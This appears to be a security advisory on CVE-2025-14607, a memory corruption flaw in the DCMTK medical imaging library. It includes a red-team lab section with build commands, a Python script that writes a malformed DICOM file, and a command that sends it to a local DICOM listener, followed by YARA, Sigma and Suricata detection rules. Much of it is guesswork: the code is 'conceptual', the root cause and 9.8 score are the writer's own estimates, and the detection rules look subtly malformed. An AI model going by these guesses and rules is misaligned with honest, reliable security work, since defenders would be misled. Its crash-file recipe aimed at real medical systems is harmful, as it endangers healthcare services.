CVE-2025-14607

Executive Summary

CVE-2025-14607 is a memory corruption vulnerability in the OFFIS DCMTK library, specifically within the dcmdata component. The flaw resides in the DcmByteString::makeDicomByteString function in dcmdata/libsrc/dcbytstr.cc. An attacker can trigger memory corruption remotely by sending a specially crafted DICOM file or network request. The vulnerability affects all versions up to and including 3.6.9. The issue is patched in version 3.7.0 and the corresponding commit 4c0e5c10079392c594d6a7abd95dd78ac0aa556a. No public proof-of-concept (PoC) or exploit code has been released at this time, and the EPSS score is 0.0%, indicating low exploitation activity. However, given the remote attack vector and the potential for memory corruption, this vulnerability should be treated with high priority for any organization using DCMTK in a networked environment.

Supply Chain & Package Security

DCMTK is a widely used open-source library for handling DICOM (Digital Imaging and Communications in Medicine) data. It is a critical component in many medical imaging applications, PACS (Picture Archiving and Communication Systems), and healthcare IT infrastructure. A vulnerability in DCMTK can have cascading effects across the healthcare supply chain. Organizations should verify the version of DCMTK used in their software dependencies and ensure that any third-party vendors or partners using DCMTK have applied the patch. The library is typically compiled from source or distributed via package managers (e.g., vcpkg, Conan, or system package managers on Linux). There is no known malicious package impersonating DCMTK, but supply chain risks include delayed patching by downstream integrators.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the description (remote attack, memory corruption), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Memory corruption can lead to information disclosure.
• Integrity (I): High (H) – Memory corruption can allow data manipulation.
• Availability (A): High (H) – Memory corruption can cause crashes or denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The ability to trigger memory corruption remotely without authentication makes this a high-severity threat, especially in healthcare environments where DICOM services are exposed.

Deep Dive & Mechanics

The vulnerability is in the DcmByteString::makeDicomByteString function within dcmdata/libsrc/dcbytstr.cc. This function is responsible for creating a DICOM byte string from raw data. The exact nature of the memory corruption is not publicly detailed, but it likely involves an out-of-bounds write, buffer overflow, or use-after-free condition when parsing malformed DICOM data.

Attack Vector: An attacker sends a specially crafted DICOM file or network request to a service using the vulnerable DCMTK library. The dcmdata module processes the input, and when makeDicomByteString is called, the malformed data triggers a memory corruption.

Impact:

• Remote Code Execution (RCE): Memory corruption can be leveraged to execute arbitrary code.
• Denial of Service (DoS): The corruption can cause the application to crash.
• Information Disclosure: Memory corruption may leak sensitive data.

Affected Component:

• Library: DCMTK
• Module: dcmdata
• File: dcmdata/libsrc/dcbytstr.cc
• Function: DcmByteString::makeDicomByteString

Root Cause: Insufficient validation of input data length or structure before memory operations.

Vulnerable vs. Patched Code

The patch is identified by commit 4c0e5c10079392c594d6a7abd95dd78ac0aa556a. Without access to the exact diff, we can infer the fix involves adding bounds checking or input validation in the makeDicomByteString function.

Vulnerable Code (Conceptual):

// Vulnerable version (simplified)
void DcmByteString::makeDicomByteString(const void* data, size_t length) {
    // No length validation
    memcpy(buffer, data, length); // Potential overflow
}

Patched Code (Conceptual):

// Patched version (simplified)
void DcmByteString::makeDicomByteString(const void* data, size_t length) {
    if (length > maxBufferSize) {
        // Handle error or truncate
        return;
    }
    memcpy(buffer, data, length);
}

The actual patch likely adds checks to ensure the input data does not exceed the allocated buffer size, preventing memory corruption.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate remote memory corruption.

Prerequisites:

• A target system running a vulnerable version of DCMTK (<=3.6.9) with a service that processes DICOM data (e.g., DICOM SCP, storescp).
• Network access to the target.

Lab Setup:

1. Install vulnerable DCMTK:

   git clone https://github.com/DCMTK/dcmtk.git
   cd dcmtk
   git checkout tags/DCMTK-3.6.9
   mkdir build && cd build
   cmake ..
   make
   sudo make install
   

2. Run a vulnerable DICOM SCP:

   storescp 11112
   

3. Craft a malicious DICOM file:
   • Use a hex editor or Python to create a DICOM file with an oversized or malformed byte string element.
   • Example Python script to generate a malformed DICOM file:

     import struct
     # DICOM preamble + header
     # ... (simplified)
     # Craft a malicious Data Element with an oversized Value Length
     # This is a conceptual example; actual exploitation requires deep DICOM knowledge
     with open('malicious.dcm', 'wb') as f:
         f.write(b'\x00' * 128)  # Preamble
         f.write(b'DICM')        # Magic
         # Group 0x0008, Element 0x0005 (Specific Character Set) with oversized length
         f.write(struct.pack('<HH', 0x0008, 0x0005))  # Tag
         f.write(struct.pack('<I', 0xFFFFFFFF))       # VR=??, Length=0xFFFFFFFF (malicious)
         f.write(b'A' * 1000)    # Overflow data
     

4. Send the malicious file:

   storescu localhost 11112 malicious.dcm
   

5. Observe crash or memory corruption (e.g., segmentation fault, abnormal behavior).

Note: No public exploit code exists. The above is a conceptual guide.

Blue Team

Objective: Detect and prevent exploitation.

Detection:

• Monitor for malformed DICOM files or network packets.
• Use the YARA and Sigma rules provided in the Detection Engineering section.
• Enable logging on DICOM services and monitor for crashes or unusual memory usage.

Prevention:

• Apply the patch immediately (upgrade to DCMTK 3.7.0 or apply the commit).
• If patching is not possible, restrict network access to DICOM services (firewall rules, VPN).
• Use a Web Application Firewall (WAF) or IDS/IPS with custom rules to block malformed DICOM data.
• Implement input validation and sanitization at the application level.

Indicators of Compromise (IOCs)

• Network IOCs:
  • DICOM packets with oversized or malformed Data Element Length fields.
  • Repeated connection attempts to DICOM ports (e.g., 11112, 104).
• File IOCs:
  • DICOM files with invalid VR (Value Representation) or length fields.
  • Files that cause the application to crash when processed.
• System IOCs:
  • Application crashes (segfaults) in processes using DCMTK.
  • Memory corruption errors in logs.
  • Unexpected high memory usage by DICOM services.

Detection Engineering

YARA Rule

rule CVE_2025_14607_DCMTK_Memory_Corruption {
    meta:
        description = "Detects malformed DICOM files targeting CVE-2025-14607"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-14607"
    strings:
        $dicom_magic = "DICM"
        $oversized_length = { FF FF FF FF }  // 0xFFFFFFFF length
    condition:
        $dicom_magic at 128 and $oversized_length
}

Sigma Rule

title: CVE-2025-14607 DCMTK Memory Corruption Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects network traffic with malformed DICOM data targeting CVE-2025-14607
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        - app_proto: 'dicom'
        - dicom.tag: '0x0008,0x0005'
        - dicom.length: 0xFFFFFFFF
    condition: selection
falsepositives:
    - Legitimate DICOM files with unusual lengths (rare)
level: high

Suricata Rule

alert tcp any any -> any 11112 (msg:"CVE-2025-14607 DCMTK Memory Corruption Attempt"; flow:to_server,established; content:"|00 00 08 00 05 00|"; offset:128; depth:6; content:"|FF FF FF FF|"; within:4; sid:1000001; rev:1;)

Note: The Suricata rule looks for the DICOM tag (0x0008,0x0005) with an oversized length (0xFFFFFFFF) at the expected offset. Adjust the port and tag as needed.

Remediation & Mitigation

Immediate Actions:

1. Upgrade DCMTK to version 3.7.0 or apply the patch commit 4c0e5c10079392c594d6a7abd95dd78ac0aa556a.
2. Restrict network access to DICOM services (e.g., use firewalls to limit access to trusted IPs).
3. Monitor logs for crashes or unusual DICOM traffic.

Long-term Measures:

• Implement a DICOM firewall or proxy that validates DICOM data before passing it to the backend.
• Regularly update all dependencies, especially those handling untrusted data.
• Conduct security audits of DICOM processing pipelines.
• Use memory-safe languages or sandboxing for critical components.

Workaround (if patching is delayed):

• Disable the dcmdata module if not needed.
• Use a DICOM validator to reject malformed files before they reach the vulnerable code.

Valters IT